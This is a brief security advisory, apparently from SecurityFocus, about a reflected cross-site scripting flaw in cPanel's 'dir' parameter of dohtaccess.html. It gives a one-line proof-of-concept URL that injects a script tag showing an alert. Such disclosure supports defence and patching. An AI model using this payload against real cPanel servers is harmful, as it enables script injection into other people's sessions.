cPanel dir Parameter Cross-Site Scripting Vulnerability

No exploit is required.

The following proof of concept has been provided:
http://www.example.com:2082/frontend/x/htaccess/dohtaccess.html?dir=><script>alert(0x29A Crew)</script>


 

Privacy Statement
Copyright 2010, SecurityFocus